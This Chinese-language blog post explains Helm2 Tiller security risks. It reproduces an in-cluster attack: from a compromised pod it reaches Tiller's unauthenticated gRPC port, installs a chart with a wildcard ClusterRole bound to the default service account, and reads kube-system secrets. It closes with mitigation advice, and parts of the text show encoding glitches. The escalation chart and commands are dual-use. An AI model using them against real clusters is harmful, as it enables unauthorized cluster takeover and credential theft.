Helm介紹:參考http://rui0.cn/archives/1573
英文文章 https://blog.ropnop.com/attacking-default-installs-of-helm-on-kubernetes/
(資料圖)
集群后滲透測試資源https://blog.carnal0wnage.com/2019/01/kubernetes-master-post.html
Kubernetes是一個(gè)強大的容器調度系統,通常我們會(huì )使用一些聲明式的定義來(lái)在Kubernetes中部署業(yè)務(wù)。但是當我們開(kāi)始部署比較復雜的多層架構時(shí),事情往往就會(huì )沒(méi)有那么簡(jiǎn)單,在這種情況下,我們需要編寫(xiě)和維護多個(gè)YAML文件,同時(shí)在編寫(xiě)時(shí)需要理清各種對象和層級關(guān)系。這是一個(gè)比較麻煩的事情,所以這個(gè)時(shí)候Helm出現了。
我們熟悉的Python通過(guò)pip來(lái)管理包,Node.js使用npm管理包。那么在Kubernetes,我們可以使用Helm來(lái)管理。它降低了使用Kubernetes的門(mén)檻,對于開(kāi)發(fā)者可以很方便的使用Helm打包,管理依賴(lài)關(guān)系,使用者可以在自己的Kubernetes通過(guò)Helm來(lái)一鍵部署所需的應用。對于Helm本身可以研究的安全風(fēng)險可以從很多角度來(lái)看比如Charts,Image等,詳細的內容可以來(lái)看CNCF webinars關(guān)于Helm Security的一個(gè)分享(https://www.cncf.io/webinars/helm-security-a-look-below-deck/)本篇文章主要討論的是Helm2的安全風(fēng)險,因為在Helm2開(kāi)發(fā)的時(shí)候,Kubernetes的RBAC體系還沒(méi)有建立完成,Kubernetes社區直到2017年10月份v1.8版本才默認采用了RBAC權限體系,所以Helm2的架構設計是存在一定安全風(fēng)險的。
Helm3是在Helm2之上的一次大更改,于2019年11月份正式推出,同時(shí)Helm2開(kāi)始退出歷史舞臺,到2020年的11月開(kāi)始停止安全更新。但是目前網(wǎng)絡(luò )上主流依然為關(guān)于Helm2的安裝配置文章,所以我們這里將對使用Helm2可能造成的安全風(fēng)險進(jìn)行討論。
Helm2架構Helm2是CS架構,包括客戶(hù)端和服務(wù)端,即Client和Tiller
Helm Client主要負責跟用戶(hù)進(jìn)行交互,通過(guò)命令行就可以完成Chart的安裝、升級、刪除等操作。在收到前端的命令后就可以傳輸給后端的Tiller使之與集群通信。其中Tiller是Helm的服務(wù)端主要用來(lái)接收Helm Client的請求,它們的請求是通過(guò)gRPC來(lái)傳輸。實(shí)際上它的主要作用就是在Helm2和Kubernetes集群中起到了一個(gè)中間人的轉發(fā)作用,Tiller可以完成部署Chart,管理Release以及在Kubernetes中創(chuàng )建應用。官方在更新到Helm3中這樣說(shuō)過(guò):
從kubernetes 1.6開(kāi)始默認開(kāi)啟RBAC。這是Kubernetes安全性/企業(yè)可用的一個(gè)重要特性。但是在RBAC開(kāi)啟的情況下管理及配置Tiller變的非常復雜。為了簡(jiǎn)化Helm的嘗試成本我們給出了一個(gè)不需要關(guān)注安全規則的默認配置。但是,這會(huì )導致一些用戶(hù)意外獲得了他們并不需要的權限。并且,管理員/SRE需要學(xué)習很多額外的知識才能將Tiller部署的到關(guān)注安全的生產(chǎn)環(huán)境的多租戶(hù)K8S集群中并使其正常工作。
所以通過(guò)我們了解在Helm2這種架構設計下Tiller組件通常會(huì )被配置為非常高的權限,也因此會(huì )造成安全風(fēng)險。
對外暴露端口擁有和Kubernetes通信時(shí)的高權限(可以進(jìn)行創(chuàng )建,修改和刪除等操作)因此對于目前將使用Helm的人員請安裝Helm3,對于Helm2的使用者請盡快升級到Helm3。針對Helm3,最大的變化就是移除掉Tiller,由此大大簡(jiǎn)化了Helm的安全模型實(shí)現方式。Helm3現在可以支持所有的kubernetes認證及鑒權等全部安全特性。Helm和本地的kubeconfig flie中的配置使用一致的權限。管理員可以按照自己認為合適的粒度來(lái)管理用戶(hù)權限。
安全風(fēng)險復現配置Helm2參考https://www.cnblogs.com/keithtt/p/13171160.html
官方文檔有helm2的快速安裝https://v2.helm.sh/docs/using_helm/#special-note-for-rbac-users
1、使用二進(jìn)制安裝包安裝helm客戶(hù)端
wget https://get.helm.sh/helm-v2.16.9-linux-amd64.tar.gztar xvf helm-v2.16.9-linux-amd64.tar.gzcd linux-amd64cp-a helm/usr/local/bin/
2、設置命令行自動(dòng)補全
echo"source <(helm completion bash)">> ~/.bashrc
3、安裝tiller服務(wù)端
創(chuàng )建服務(wù)賬戶(hù)ServiceAccount:
由于目前K8s都默認啟用基于角色的訪(fǎng)問(wèn)控制RBAC,因此,需要為T(mén)illerPod創(chuàng )建一個(gè)具有正確角色和資源訪(fǎng)問(wèn)權限的ServiceAccount,參考https://v2.helm.sh/docs/using_helm/#special-note-for-rbac-users以及https://blog.ropnop.com/attacking-default-installs-of-helm-on-kubernetes/
Tiller Pod需要提升權限才能與Kubernetes API通信,對服務(wù)賬戶(hù)權限的管理通常很棘手且被忽視,因此啟動(dòng)和運行的最簡(jiǎn)單方法是為T(mén)iller創(chuàng )建一個(gè)具有完整集群官員權限的服務(wù)賬戶(hù)。
要創(chuàng )建具有cluster-admin權限的ServiceAccount,在YAML中定義一個(gè)新的ServiceAccount和ClutserRoleBinding資源文件:
這個(gè)操作創(chuàng )建了名為tiller的ServiceAccount,并生成一個(gè)secrets token認證文件,為該賬戶(hù)提供完整的集群管理員權限。
# 創(chuàng )建名為tiller的ServiceAccount 并綁定搭配集群管理員 cluster-adminapiVersion: v1kind: ServiceAccountmetadata:name: tillernamespace: kube-system---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata:name: tillerroleRef:apiGroup: rbac.authorization.k8s.iokind: ClusterRolename: cluster-adminsubjects:-kind: ServiceAccountname: tillernamespace: kube-system# 創(chuàng )建kubectlapply-f helm-rbac.yam
4、初始化Helm
使用新ServiceAccount服務(wù)賬號初始化Helm,
--tiller-image
指定使用的 Tiller 鏡像
--stable-repo-url string
指定穩定存儲庫的 URL(默認為 "https://kubernetes-charts.storage.googleapis.com"),這里指定了 Azure 中國的 Helm 倉庫地址來(lái)加速 Helm 包的下載。
helm init --service-account tiller --tiller-image=registry.cn-hangzhou.aliyuncs.com/google_containers/tiller:v2.16.6 --stable-repo-url http://mirror.azure.cn/kubernetes/chartskubectl get deployment tiller-deploy -n kube-systemhelm versionClient: &version.Version{SemVer:"v2.16.9", GitCommit:"8ad7037828e5a0fca1009dabe290130da6368e39", GitTreeState:"clean"}Server: &version.Version{SemVer:"v2.16.6", GitCommit:"dd2e5695da88625b190e6b22e9542550ab503a47", GitTreeState:"clean"}
這個(gè)命令會(huì )設置客戶(hù)端,并且在kube-system命名空間中為T(mén)iller創(chuàng )建deployment和service,標簽為label app=helm
kubectl-n kube-system getall-l"app=helm"
也可以查看Tiller deployment被設定為集群管理員服務(wù)賬號tiller,命令:
kubectl-n kube-system get deployments-l"app=helm"-o jsonpath="{.items[0].spec.template.spec.serviceAccount}"
5、添加repo,這里需要更改為可用的鏡像源
1)官方鏡像源為https://charts.helm.sh/stable
配置官方鏡像源命令: helm repo add stablehttps://charts.helm.sh/stable
2)GitPage鏡像:參考https://github.com/BurdenBear/kube-charts-mirror搭建一個(gè)自主可控的鏡像源 (參考2http://charts.ost.ai/)
3)Aliyun鏡像:長(cháng)時(shí)間未更新,版本較舊
helm repo add stable https://kubernetes.oss-cn-hangzhou.aliyuncs.com/charts/
4)Azure鏡像源(有博客說(shuō)2021.7.8已不可用,但親測可用)
helm repo add stable http://mirror.azure.cn/kubernetes/charts/helm repo add incubator http://mirror.azure.cn/kubernetes/charts-incubator/
這里用Azure的鏡像源(阿里鏡像源過(guò)于老,只支持 extensions/v1beta1 版本的 Deployment 對象)
helm repo add stable http://mirror.azure.cn/kubernetes/charts/# 查看repo配置列表helm repo list
6、更新repo
helm repo update
7、安裝一個(gè)app
helm install stable/nginx-ingress--name nginx-ingress--namespace nginx-ingresshelm install stable/owncloud--name owncloud--namespace owncloudhelm ls-a
8、刪除一個(gè)app
helm delete--purge owncloud
9、卸載helm(tiller)
helm reset--forcekubectl delete service/tiller-deploy-n kube-systemkubectl delete deployment.apps/tiller-deploy-n kube-system
創(chuàng )建應用上面成功安裝Helm2之后,可以看到Tiller已被部署到Kube-system的命名空間下
通過(guò)Helm來(lái)部署應用,helm install stable/tomcat --name my-tomcat
在沒(méi)有使用其他flag時(shí),Tiller將所有資源部署到default命名空間中,–name字段將作為release標簽應用到資源上,因此可以使用 kubectl get all -l "release=my-tomcat" 這個(gè)命令查看Helm部署的名為my-tomcat的所有資源
Helm通過(guò)LoadBalancer服務(wù)為我們暴露端口,因此我們如果訪(fǎng)問(wèn)列出的EXTERNAL-IP,可以看到tomcat啟動(dòng)并運行
查看部署情況
模擬入侵針對集群內的攻擊,模擬Tomcat服務(wù)被入侵,攻擊者拿到了容器的控制權。
通過(guò)exec進(jìn)入容器內:kubectl exec -it my-tomcat-b976c48b6-rfzv8 -- /bin/bash
登錄shell后,有幾個(gè)指標可以快速判斷這是一個(gè)運行在K8s集群上的容器:
/.dockerenv
文件存在,說(shuō)明我們在Docker容器里有幾個(gè)Kubernetes相關(guān)的環(huán)境變量集群后滲透利用有個(gè)很好的總結可以參考 https://blog.carnal0wnage.com/2019/01/kubernetes-master-post.html
在k8s環(huán)境下的滲透,通常會(huì )首先看其中的環(huán)境變量,獲取集群的相關(guān)信息,服務(wù)位置以及一些敏感配置文件
了解了k8s API等位置后我們可以通過(guò)curl等方式去嘗試請求,看是否配置授權,是403禁止匿名訪(fǎng)問(wèn)的;即使我們可以和Kubernetes API交互,但是因為RBAC啟用,我們無(wú)法獲取任何信息
服務(wù)偵查默認情況下,k8s使用kube-dns,查看/etc/resolv.conf可以看到此pod配置使用kube-dns。因為kube-dns中的DNS名遵循這個(gè)格式:
利用這個(gè)域名解析,我們能夠找到其他一些服務(wù),雖然我們在default命名空間中,但重要的是namespace不提供任何安全保障,默認情況下,沒(méi)有阻止跨命名空間通信的網(wǎng)絡(luò )策略。
這里我們可以查詢(xún)在kube-system命名空間下運行的服務(wù),如kube-dns服務(wù)本身:注意我們使用的是getent查詢(xún)域名,因為pod中可能沒(méi)安裝任何標準的dns工具。
$ getent hosts kube-dns.kube-system.svc.cluster.local10.96.0.10 kube-dns.kube-system.svc.cluster.local
通過(guò)DNS枚舉其他namespace下正在運行的服務(wù)。Tiller在命名空間kube-system中如何創(chuàng )建服務(wù)的?它默認名稱(chēng)為tiller-deploy,如果我們用DNS查詢(xún)可以看到存在的位置。
很好,Tiller安裝在了集群中,如何濫用它呢
了解Helm與K8s集群通信方式Helm 與 kubernetes 集群通信的方式是通過(guò) gRPC 與tiller-deploy
pod 通信。然后,pod 使用其服務(wù)帳戶(hù)token與 Kubernetes API 通信。當客戶(hù)端運行Helm命令時(shí),實(shí)際上是通過(guò)端口轉發(fā)到集群中,直接與tiller-deploy
Service通信,該Service始終指向TCP 44134 上的tiller-deploy
Pod。這種方式可以讓Helm命令直接與Tillerr-deploy Pod進(jìn)行交互,而不必暴露K8s API的直接訪(fǎng)問(wèn)權限給Helm客戶(hù)端。
也就是說(shuō),集群外的用戶(hù)必須有能力轉發(fā)訪(fǎng)問(wèn)到集群的端口,因為T(mén)CP 44134端口無(wú)法從集群外部訪(fǎng)問(wèn)。
然而,對于在K8s集群內的用戶(hù)而言,44134 TCP端口是可訪(fǎng)問(wèn)的,不用端口轉發(fā)。
用curl驗證端口是否打開(kāi): curl tiller-deploy.kube-system.svc.cluster.local:44134
curl失敗,但能connect成功連接,因為此端點(diǎn)是與gRPC通信,而不是HTTP。
目前已知我們可以訪(fǎng)問(wèn)端口,如果我們可以發(fā)送正確的信息,則可以直接與Tiller通信,因為默認情況下,Tiller不需要進(jìn)行任何身份驗證就可以與gRPC通信。在這個(gè)默認安裝中Tiller以集群管理員權限運行,基本上可以在沒(méi)有任何身份驗證的情況下運行集群管理命令。
與Tiller通過(guò)gRPC通信所有 gRPC 端點(diǎn)都以Protobuf 格式在源代碼中定義,因此任何人都可以創(chuàng )建客戶(hù)端來(lái)與 API 通信。但是與 Tiller 通信的最簡(jiǎn)單方法就是通過(guò)普通的 Helm 客戶(hù)端,它無(wú)論如何都是靜態(tài)二進(jìn)制文件。
在pod 上,我們可以helm
從官方版本下載二進(jìn)制文件。下載并解壓到 /tmp:注意可能需要指定下載特定版本。
Helm 提供了 --host 和 HELM_HOST 環(huán)境變量選項,可以指定直接連接到 Tiller 的地址。通過(guò)使用 Tiller-deploy Service 的完全限定域名(FQDN),我們可以直接與 Tiller Pod 進(jìn)行通信并運行任意 Helm 命令。
./helm --host tiller-deploy.kube-system.svc.cluster.local:44134 ls
這樣我們可以完全控制Tiller,可以做cluster-admin可以用Helm做的任何事情。包括安裝 升級 刪除版本。但我們仍然不能直接與K8s API通信,所以我們需要濫用Tiller來(lái)升級權限成為完整的cluster-admin
針對Helm-Tiller攻擊1、首先通過(guò)DNS查看是否存在Tiller服務(wù)。為了交互,Tiller的端口會(huì )被開(kāi)放到集群內,根據命名規則我們可以嘗試默認Tiller的名稱(chēng)
curl tiller-deploy.kube-system:44134 --output out
可以看到端口是開(kāi)放的,不過(guò)因為連接時(shí)通過(guò)gRPC的方式交互,所以使用HTTP無(wú)法連接。同時(shí)在這種情況下我們可以連接Tiller,通過(guò)它可以在沒(méi)有身份驗證的情況下執行k8s內的操作
我們可以通過(guò)gRPC方式使用Protobuf格式來(lái)與其交互,但是過(guò)于麻煩。
這里最簡(jiǎn)單的方式是我們通過(guò)Client直接與Tiller連接
2、下載helm客戶(hù)端到tmp目錄下:
wgethttps://get.helm.sh/helm-v2.16.9-linux-amd64.tar.gz && tar xvf helm-v2.16.9-linux-amd64.tar.gz
嘗試請求tiller:./helm --host tiller-deploy.kube-system:44134 version
連接成功
這意味著(zhù)我們可以做很多事情。
一個(gè)較為麻煩的方式是:比如竊取高權限用戶(hù)的token,因為我們可以控制tiller意味著(zhù)我們可以使用這個(gè)權限的賬戶(hù)來(lái)創(chuàng )建pod,從而獲取創(chuàng )建pod后,能夠獲取到創(chuàng )建pod的token。掛載在pod內路徑下/var/run/secrets/kubernetes.io/serviceaccount/token。這個(gè)token在創(chuàng )建對應pod時(shí)被掛載,可以利用這個(gè)token完成對k8s的交互。
更加簡(jiǎn)單粗暴的方式:
1)先下載一個(gè)kubectl方便后期交互
查看當前權限可以做的事情 kubectl auth can-i --list
2)查看當前權限能否讀取secrets
./kubectl get secrets -n kube-system
看到目前權限不夠,我們想要獲取到整個(gè)集群的權限,即我們希望有一個(gè)可以訪(fǎng)問(wèn)所有namespace的ServiceAccount。我們可以把default這個(gè)SA賦予ClutsterRole RBAC中的全部權限。
3、這時(shí)候需要使用ClusterRole和ClusterRoleBinding這兩種對象
ClusterRoleClusterRole對象可以授予整個(gè)集群范圍內資源訪(fǎng)問(wèn)權限, 也可以對以下幾種資源的授予訪(fǎng)問(wèn)權限:集群范圍資源(例如節點(diǎn),即node)非資源類(lèi)型endpoint(例如”/healthz”)跨所有namespaces的范圍資源(例如pod,需要運行命令kubectl get pods –all-namespaces來(lái)查詢(xún)集群中所有的pod)ClusterRoleBindingClusterRoleBinding在整個(gè)集群級別和所有namespaces將特定的subject與ClusterRole綁定,授予權限。創(chuàng )建兩個(gè)資源:
apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRolemetadata: name: all-your-baserules: - apiGroups: ["*"] resources: ["*"] verbs: ["*"]---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata: name: belong-to-usroleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: all-your-basesubjects: - kind: ServiceAccount namespace: {{ .Values.namespace }} name: {{ .Values.name }}
將它們生成為對應的chart,并下載到被攻擊的容器中,之后使用Client進(jìn)行安裝,配置之后便可以進(jìn)行高權限操作
4、生成charts并安裝的過(guò)程:
在 Helm 中,可以使用helm create
命令創(chuàng )建一個(gè)新的 Chart,并使用helm package
命令將 Chart 打包成一個(gè).tgz
文件,可以在其他機器上使用helm install
命令來(lái)安裝該 Chart。
以下是一個(gè)簡(jiǎn)單的示例,演示如何創(chuàng )建一個(gè)名為mychart
的 Chart 并將其打包:
創(chuàng )建 Chart,該命令將會(huì )在當前目錄下創(chuàng )建一個(gè) mychart 目錄,包含 Chart 所需的模板和示例文件。
在命令行中執行以下命令,創(chuàng )建一個(gè)名為mychart
的 Chart:$ helm create mychart
修改 Chart
在mychart
目錄中,可以根據需要修改Chart.yaml
、values.yaml
和templates
目錄中的模板文件,以定義 Chart 所包含的應用程序、服務(wù)和資源等。
打包 Chart,該命令將會(huì )在當前目錄下生成一個(gè)名為 mychart-x.x.x.tgz 的文件,其中 x.x.x 表示 Chart 的版本號。
在命令行中執行以下命令,將 Chart 打包成一個(gè).tgz
文件:$ helm package mychart
下載 Chart:$ helm install mychart mychart-x.x.x.tgz
可以將生成的 .tgz 文件復制到其他機器上,然后使用 helm install 命令來(lái)安裝 Chart。例如,執行以下命令將 Chart 安裝到 Kubernetes 集群中;
其中 mychart 是 Chart 的名稱(chēng),mychart-x.x.x.tgz 是 Chart 打包后的文件名。
直接使用https://github.com/Ruil1n/helm-tiller-pwn這里打包好的文件就行
如果有報錯提示,需要修改charts打包文件中的模板內容,為支持的版本 錯誤提示通常是由于 Kubernetes API Server 不支持rbac.authorization.k8s.io/v1beta1版本的 ClusterRole 和 ClusterRoleBinding 對象引起的。 這是因為從 Kubernetes 1.22 開(kāi)始,rbac.authorization.k8s.io/v1beta1版本的 ClusterRole 和 ClusterRoleBinding 已經(jīng)被廢棄,并在 Kubernetes 1.22 版本中已經(jīng)完全刪除。 |
./helm --host tiller-deploy.kube-system:44134 install pwnchart
可以看到我們提升權限成功,現在已經(jīng)能夠獲取到kube-system下的secrets,同時(shí)可以進(jìn)行其他操作。
總結Helm簡(jiǎn)化了Kubernetes應用的部署和管理,越來(lái)越多的人在生產(chǎn)環(huán)境中使用它來(lái)部署和管理應用。Helm3是在Helm2之上的一次大更改,主要就是移除了Tiller。由于Helm2基本是去年(2020)年末才完全停止支持,目前仍有大量開(kāi)發(fā)者在使用,所以依舊存在大量安全風(fēng)險。本文主要從集群內攻擊的角度來(lái)展示了使用Tiller獲取Kubernetes的高權限并且完成敏感操作。最后我們來(lái)說(shuō)一下如何防御,如果你堅持希望使用Tiller,那么請一定要注意不要對外開(kāi)放端口,同時(shí)配置TLS認證以及嚴格的RBAC認證(https://github.com/michelleN/helm-tiller-rbac)。這里更建議大家盡快升級Helm2到Helm3以及直接使用Helm3。
標簽: